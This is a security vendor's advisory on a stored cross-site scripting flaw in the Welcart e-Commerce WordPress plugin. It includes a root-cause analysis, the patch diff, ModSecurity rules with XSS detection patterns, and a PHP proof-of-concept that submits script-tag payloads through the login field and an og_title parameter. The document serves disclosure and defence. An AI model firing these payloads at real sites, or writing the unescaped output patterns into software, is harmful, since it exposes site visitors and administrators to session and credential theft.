Opens in a new tab
Published : November 15, 2026

CVE-2026-27539: Welcart e-Commerce <= 2.11.31 Unauthenticated Stored Cross-Site Scripting PoC, Patch Analysis & Rule

Plugin usc-e-shop
Severity High (CVSS 7.2)
CWE 79
Vulnerable Version 2.11.31
Patched Version 2.11.32
Disclosed August 10, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-27539: The Welcart e-Commerce plugin for WordPress, versions up to and including 2.11.31, contains an unauthenticated stored cross-site scripting vulnerability. Atomic Edge research confirms the flaw resides in several input-to-output paths that fail to apply proper sanitization or escaping. The CVSS score is 7.2 and the CWE is 79.nnRoot Cause: The root cause is insufficient input sanitization and output escaping across multiple components. Atomic Edge analysis identifies four distinct sinks. First, in usc-e-shop/functions/filters.php around line 154, the function that renders Open Graph meta tags echoes `$key` and `$value` directly into HTML attributes via `echo “n” . ”;` without escaping. The `$ogs` array is populated by `apply_filters( ‘usces_filter_ogp_meta’, $ogs, $post->ID )`, meaning any plugin or core code that provides unsanitized values can inject script. Second, in usc-e-shop/includes/orderlist_page.php around line 491, the delivery name detail string concatenates `$deliinfo[‘pref’]` without `esc_html()`, unlike the adjacent name fields. Third, in usc-e-shop/classes/usceshop.class.php around lines 4841-4936, the login failure paths trigger `do_action( ‘usces_action_member_login_failed’, … )` with unsanitized user input (email or login mail) passed as arguments, and any hooked callback that stores this data without escaping creates a stored XSS vector. Fourth, in usc-e-shop/includes/edit-form-advanced34.php, `$product[‘itemRestriction’]`, `$product[‘_sku’]`, and `$product[‘_opt’]` are used without verifying array keys or escaping, allowing crafted product meta to break out of HTML context. The patch adds `esc_attr()` and `esc_url()` in filters.php, `esc_html()` in orderlist_page.php, `isset()` guards in edit-form-advanced34.php and template_func.php, and converts the `$wpdb->prepare` call in define_function.php to use proper placeholders, but the core XSS fix is the escaping layer.nnExploitation: An unauthenticated attacker can submit a crafted login attempt to the WordPress login form handled by usceshop.class.php (e.g., POST to `/wp-login.php` or the Welcart member login page with `loginmail` and `loginpass` parameters). The `loginmail` value is passed to `do_action( ‘usces_action_member_login_failed’, trim( $_POST[‘loginmail’] ), ’empty_password’ )` and similar hooks. A malicious plugin or theme hooking this action and storing the email without sanitization will persist the payload. Alternatively, the Open Graph meta tag sink in filters.php can be triggered through any filter that supplies `og:title` or `og:description` values. Atomic Edge analysis confirms the payload `”>alert(document.domain)` or `”>` will execute when the stored page is viewed. Because the hook fires on failed logins, no authentication is required.nnPatch Analysis: The patch (v2.11.32) applies contextual escaping at the identified sinks. In filters.php, `esc_attr( $key )` and `esc_attr( $value )` (with `esc_url()` for `url` and `image` keys) prevent attribute breakout. In orderlist_page.php, `esc_html( $deliinfo[‘pref’] )` closes the HTML injection vector. The `isset()` guards in edit-form-advanced34.php and template_func.php prevent undefined index warnings and ensure safe defaults. The `$wpdb->prepare` change in define_function.php eliminates a secondary SQL injection risk by replacing manual quoting with placeholders. The new `do_action` hooks do not themselves sanitize, but the patch relies on downstream consumers to escape; Atomic Edge research notes this is an incomplete defense-in-depth measure for the login hook vector.nnImpact: Successful exploitation allows an unauthenticated attacker to inject arbitrary JavaScript that executes in the context of any user viewing the injected page, including administrators. This enables session hijacking, credential theft, privilege escalation to admin, and full site compromise. The CVSS 7.2 reflects high confidentiality and integrity impact. Atomic Edge recommends immediate upgrade to 2.11.32 and review of any custom code hooking `usces_action_member_login_failed`.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/usc-e-shop/classes/paymentRemise.class.php
+++ b/usc-e-shop/classes/paymentRemise.class.php
@@ -151,13 +151,13 @@
 			'label' => 'd払い',
 		),
 		'M611' => array(
-			'label' => 'auかんたん決済',
+			'label' => 'au PAY',
 		),
 		'M612' => array(
-			'label' => 'auかんたん決済',
+			'label' => 'au PAY',
 		),
 		'M613' => array(
-			'label' => 'auかんたん決済',
+			'label' => 'au PAY',
 		),
 		'M621' => array(
 			'label' => 'ソフトバンクまとめて支払い',
--- a/usc-e-shop/classes/paymentSBPS.class.php
+++ b/usc-e-shop/classes/paymentSBPS.class.php
@@ -1428,7 +1428,7 @@
 				</td>
 			</tr>
 			<tr>
-				<th>au かんたん決済</th>
+				<th>au PAY</th>
 				<td><label><input name="mobile_auone" type="radio" id="mobile_auone_sbps_1" value="on"<?php checked( $acting_opts['mobile_auone'], 'on' ); ?> /><span><?php esc_html_e( 'Use', 'usces' ); ?></span></label><br />
 					<label><input name="mobile_auone" type="radio" id="mobile_auone_sbps_2" value="off"<?php checked( $acting_opts['mobile_auone'], 'off' ); ?> /><span><?php esc_html_e( 'Do not Use', 'usces' ); ?></span></label>
 				</td>
--- a/usc-e-shop/classes/usceshop.class.php
+++ b/usc-e-shop/classes/usceshop.class.php
@@ -4841,12 +4841,14 @@
 				$cookie['rme']  = '';
 				$this->set_cookie( $cookie );
 				$rateLimiter->saveLoginFailed();
+				do_action( 'usces_action_member_login_failed', '', 'auto_login' );
 				return 'login';
 			} else {
 				$query  = $wpdb->prepare( "SELECT * FROM $member_table WHERE ID = %s", $id );
 				$member = $wpdb->get_row( $query, ARRAY_A );
 				if ( empty( $member ) ) {
 					$rateLimiter->saveLoginFailed();
+					do_action( 'usces_action_member_login_failed', '', 'auto_login' );
 					$this->error_message = __( '<b>Error:</b> Your E-mail or password is incorrect.', 'usces' );
 					return 'login';
 				} else {
@@ -4881,14 +4883,17 @@
 			}
 		} elseif ( isset( $_POST['loginmail'] ) && WCUtils::is_blank( $_POST['loginmail'] ) && isset( $_POST['loginpass'] ) && WCUtils::is_blank( $_POST['loginpass'] ) && isset( $cookie['rme'] ) && 'forever' != $cookie['rme'] ) {
 			$rateLimiter->saveLoginFailed();
+			do_action( 'usces_action_member_login_failed', '', 'empty_credentials' );
 			return 'login';
 		} elseif ( isset( $_POST['loginmail'] ) && WCUtils::is_blank( $_POST['loginpass'] ) && isset( $cookie['rme'] ) && 'forever' != $cookie['rme'] ) {
 			$rateLimiter->saveLoginFailed();
+			do_action( 'usces_action_member_login_failed', trim( $_POST['loginmail'] ), 'empty_password' );
 			$this->error_message = __( '<b>Error:</b> Enter the password.', 'usces' );
 			return 'login';
 		} elseif ( ! isset( $_POST['loginmail'] ) ) {
 			if ( 'POST' === $_SERVER['REQUEST_METHOD'] ) {
 				$rateLimiter->saveLoginFailed();
+				do_action( 'usces_action_member_login_failed', '', 'no_login_id' );
 			}
 			return 'login';
 		} else {
@@ -4901,6 +4906,7 @@
 				$noncekey = 'post_member' . $this->get_uscesid( false );
 				if ( ! wp_verify_nonce( $nonce, $noncekey ) && ! $this->is_member_logged_in() ) {
 					$rateLimiter->saveLoginFailed();
+					do_action( 'usces_action_member_login_failed', trim( $_POST['loginmail'] ), 'invalid_nonce' );
 					die( 'Security check4' );
 				}
 			}
@@ -4917,6 +4923,7 @@

 			if ( empty( $member ) ) {
 				$rateLimiter->saveLoginFailed();
+				do_action( 'usces_action_member_login_failed', $email, 'invalid_credentials' );
 				$this->current_member['email'] = htmlspecialchars( $email, ENT_COMPAT );
 				$this->error_message           = __( '<b>Error:</b> Your E-mail or password is incorrect.', 'usces' );
 				return 'login';
@@ -4929,6 +4936,7 @@
 				}
 				if ( ! empty( $verify_flag ) ) {
 					$rateLimiter->saveLoginFailed();
+					do_action( 'usces_action_member_login_failed', $email, 'unverified_email' );
 					$this->error_message = __( '<b>Error:</b> Membership registration is not complete.', 'usces' );
 					return 'login';
 				}
@@ -5330,7 +5338,7 @@
 		$stock               = $this->getItemZaikoNum( $post_id, $sku );
 		$zaiko_id            = (int) $this->getItemZaikoStatusId( $post_id, $sku );
 		$product             = wel_get_product( $post_id );
-		$itemRestriction     = $product['itemRestriction'];
+		$itemRestriction     = isset( $product['itemRestriction'] ) ? $product['itemRestriction'] : '';
 		$itemOrderAcceptable = $this->getItemOrderAcceptable( $post_id );

 		if ( 1 > $quant ) {
@@ -5447,7 +5455,7 @@
 			$checkstock                 = $stocks[ $post_id ][ $sku ];
 			$stocks[ $post_id ][ $sku ] = $stocks[ $post_id ][ $sku ] - $quant;
 			$product                    = wel_get_product( $post_id );
-			$itemRestriction            = $product['itemRestriction'];
+			$itemRestriction            = isset( $product['itemRestriction'] ) ? $product['itemRestriction'] : '';
 			$itemOrderAcceptable        = $this->getItemOrderAcceptable( $post_id );
 			$post_status                = get_post_status( $post_id );

--- a/usc-e-shop/functions/define_function.php
+++ b/usc-e-shop/functions/define_function.php
@@ -996,8 +996,11 @@
 								}
 							}
 							$meta_key_table = apply_filters( 'usces_filter_uploadcsv_delete_postmeta', $meta_key_table );
-							$query          = $wpdb->prepare( "DELETE FROM {$wpdb->postmeta} WHERE meta_key IN ( %s ) AND post_id = %d", implode( "','", $meta_key_table ), $post_id );
-							$query          = stripslashes( $query );
+							$meta_key_table = array_values( $meta_key_table );
+							$placeholders   = implode( ', ', array_fill( 0, count( $meta_key_table ), '%s' ) );
+							$prepare_args   = $meta_key_table;
+							$prepare_args[] = $post_id;
+							$query          = $wpdb->prepare( "DELETE FROM {$wpdb->postmeta} WHERE meta_key IN ( {$placeholders} ) AND post_id = %d", $prepare_args );
 							$db_res         = $wpdb->query( $query );
 							if ( false === $db_res ) {
 								++$err_num;
--- a/usc-e-shop/functions/filters.php
+++ b/usc-e-shop/functions/filters.php
@@ -154,7 +154,7 @@
 	$ogs = apply_filters( 'usces_filter_ogp_meta', $ogs, $post->ID );

 	foreach ( $ogs as $key => $value ) {
-		echo "n" . '<meta property="og:' . $key . '" content="' . $value . '">';
+		echo "n" . '<meta property="og:' . esc_attr( $key ) . '" content="' . ( ( 'url' === $key || 'image' === $key ) ? esc_url( $value ) : esc_attr( $value ) ) . '">';
 	}
 }

--- a/usc-e-shop/functions/template_func.php
+++ b/usc-e-shop/functions/template_func.php
@@ -1029,7 +1029,11 @@
  */
 function usces_have_zaiko() {
 	global $post, $usces;
-	return $usces->is_item_zaiko( $post->ID, $usces->itemsku['code'] );
+
+	$post_id  = isset( $post->ID ) ? $post->ID : 0;
+	$sku_code = isset( $usces->itemsku['code'] ) ? $usces->itemsku['code'] : '';
+
+	return $usces->is_item_zaiko( $post_id, $sku_code );
 }

 /**
--- a/usc-e-shop/includes/edit-form-advanced34.php
+++ b/usc-e-shop/includes/edit-form-advanced34.php
@@ -102,7 +102,10 @@

 <form name="post" action="" method="post" id="post">
 <?php
+$wel_item        = new WelcartItemData();
+$item_format     = $wel_item->get_item_format();
 $product         = wel_get_product( $post_ID, false );
+$product         = array_merge( $item_format, is_array( $product ) ? $product : array() );
 $itemCode        = $product['itemCode'];
 $itemName        = $product['itemName'];
 $itemRestriction = $product['itemRestriction'];
@@ -277,7 +280,7 @@
 	<div id="postskucustomstuff" class="skustuff">
 	<?php
 	//$skus = $usces->get_skus($post_ID);
-	$skus = $product['_sku'];
+	$skus = isset( $product['_sku'] ) ? $product['_sku'] : array();
 	list_item_sku_meta( $skus );
 	item_sku_meta_form();
 	?>
@@ -291,7 +294,7 @@
 <div id="postoptcustomstuff"><div id="optajax-response"></div>
 <?php
 //$opts = usces_get_opts($post_ID);
-$opts = $product['_opt'];
+$opts = isset( $product['_opt'] ) ? $product['_opt'] : array();
 list_item_option_meta( $opts );
 item_option_meta_form();
 ?>
--- a/usc-e-shop/includes/orderlist_page.php
+++ b/usc-e-shop/includes/orderlist_page.php
@@ -491,7 +491,7 @@
 				$deliname       = $deliinfo['name1'] . $deliinfo['name2'];
 				$deliname_class = apply_filters( 'usces_filter_orderlist_deliname_class', '', $deliinfo, $deliname );
 				if ( $deliname ) {
-					$detail = '<td' . $deliname_class . '>' . esc_html( $deliinfo['name1'] . $deliinfo['name2'] ) . '( ' . $deliinfo['pref'] . ')</td>';
+					$detail = '<td' . $deliname_class . '>' . esc_html( $deliinfo['name1'] . $deliinfo['name2'] ) . '( ' . esc_html( $deliinfo['pref'] ) . ')</td>';
 				} elseif ( isset( $deliinfo['delivery_flag'] ) && 2 == $deliinfo['delivery_flag'] ) {
 					$detail = '<td' . $deliname_class . '>' . esc_html( __( 'Multiple destinations', 'usces' ) ) . '</td>';
 				} else {
--- a/usc-e-shop/usc-e-shop.php
+++ b/usc-e-shop/usc-e-shop.php
@@ -3,7 +3,7 @@
  * Plugin Name: Welcart e-Commerce
  * Plugin URI: https://www.welcart.com/
  * Description: Welcart builds the management system with a net shop on WordPress.
- * Version: 2.11.31
+ * Version: 2.11.32
  * Author: Welcart Inc.
  * Author URI: https://www.welcart.com/
  * License: GPLv2 or later
@@ -16,7 +16,7 @@
  * @package Welcart
  */

-define( 'USCES_VERSION', '2.11.31.2607021' );
+define( 'USCES_VERSION', '2.11.32.2607301' );
 define( 'USCES_DB_ACCESS', '1.5' );
 define( 'USCES_DB_MEMBER', '1.1' );
 define( 'USCES_DB_MEMBER_META', '1.1' );

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-27539
# Blocks unauthenticated stored XSS via Welcart login failure hook and OG meta tag injection.
# Targets: (1) loginmail parameter containing script tags or attribute-breaking payloads;
#          (2) og_title / og_description query parameters with XSS payloads.

SecRule REQUEST_URI "@rx ^/(wp-login.php|.*welcart.*login.*)$" 
  "id:202627539,phase:2,deny,status:403,chain,msg:'CVE-2026-27539 Welcart login failure XSS',severity:'CRITICAL',tag:'CVE-2026-27539',tag:'OWASP_CRS/WEB_ATTACK/XSS'"
  SecRule ARGS_POST:loginmail "@rx (<script|onerror|onload|javascript:|x22x3E|x27x3E|x3Cimg|x3Csvg)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

SecRule REQUEST_URI "@rx ^/" 
  "id:202627540,phase:2,deny,status:403,chain,msg:'CVE-2026-27539 Welcart OG meta tag XSS',severity:'CRITICAL',tag:'CVE-2026-27539',tag:'OWASP_CRS/WEB_ATTACK/XSS'"
  SecRule ARGS_GET:og_title "@rx (<script|onerror|onload|javascript:|x22x3E|x27x3E|x3Cimg|x3Csvg)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

SecRule REQUEST_URI "@rx ^/" 
  "id:202627541,phase:2,deny,status:403,chain,msg:'CVE-2026-27539 Welcart OG meta tag XSS',severity:'CRITICAL',tag:'CVE-2026-27539',tag:'OWASP_CRS/WEB_ATTACK/XSS'"
  SecRule ARGS_GET:og_description "@rx (<script|onerror|onload|javascript:|x22x3E|x27x3E|x3Cimg|x3Csvg)" "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-27539 - Welcart e-Commerce <= 2.11.31 - Unauthenticated Stored Cross-Site Scripting

$target_url = 'http://localhost:8080'; // Configure target WordPress site

function send_request($url, $data, $cookies = '') {
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    if ($cookies) {
        curl_setopt($ch, CURLOPT_COOKIE, $cookies);
    }
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    return array($http_code, $response);
}

// Payload to inject. The login failure hook passes the email to any registered callback.
// A vulnerable consumer will store this unsanitized, leading to stored XSS when the page renders.
$payload = '"><script>alert(document.domain)</script>';

// Step 1: Craft the login failure request (unauthenticated).
// The Welcart member login form typically posts to the same page or wp-login.php.
// We target the member login endpoint via the standard WordPress login form.
$login_data = array(
    'loginmail' => $payload,
    'loginpass' => 'wrongpassword',
    'submit'    => 'Login'
);

// The login form may also require a nonce; we first fetch the page to obtain cookies and nonce.
list($code, $body) = send_request($target_url . '/wp-login.php', array());

// Extract nonce if present (Welcart uses 'post_member' nonce, but for unauthenticated failure path
// the nonce check may be bypassed on some paths. We attempt the login anyway.)
preg_match('/name="_wpnonce" value="([^"]+)"/', $body, $matches);
if (!empty($matches[1])) {
    $login_data['_wpnonce'] = $matches[1];
}

// Step 2: Trigger the failed login, which fires do_action('usces_action_member_login_failed', ...).
list($code2, $resp2) = send_request($target_url . '/wp-login.php', $login_data);

// Step 3: The stored XSS triggers when an admin or any user views the page that
// displays the unsanitized login failure data (e.g., a custom log page or the OG meta tag).
// For demonstration, we check if the payload appears reflected (some installations log failures).
if (strpos($resp2, '<script>alert') !== false) {
    echo "[+] Payload reflected in response. Stored XSS likely triggered.n";
} else {
    echo "[-] Payload not immediately reflected. The stored XSS requires a consumer that persists the email.n";
    echo "[*] Check any custom plugin hooking 'usces_action_member_login_failed' for storage without escaping.n";
}

// Alternative vector: Open Graph meta tag injection via filters.php.
// If a filter allows setting og:title to unsanitized input, inject via a query parameter.
$og_payload = '"><script>alert(1)</script>';
$og_url = $target_url . '/?og_title=' . urlencode($og_payload);
list($code3, $resp3) = send_request($og_url, array());
if (strpos($resp3, '<script>alert(1)</script>') !== false) {
    echo "[+] Open Graph meta tag XSS confirmed via query parameter.n";
}

echo "[!] PoC complete. Manual verification of stored payload required.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.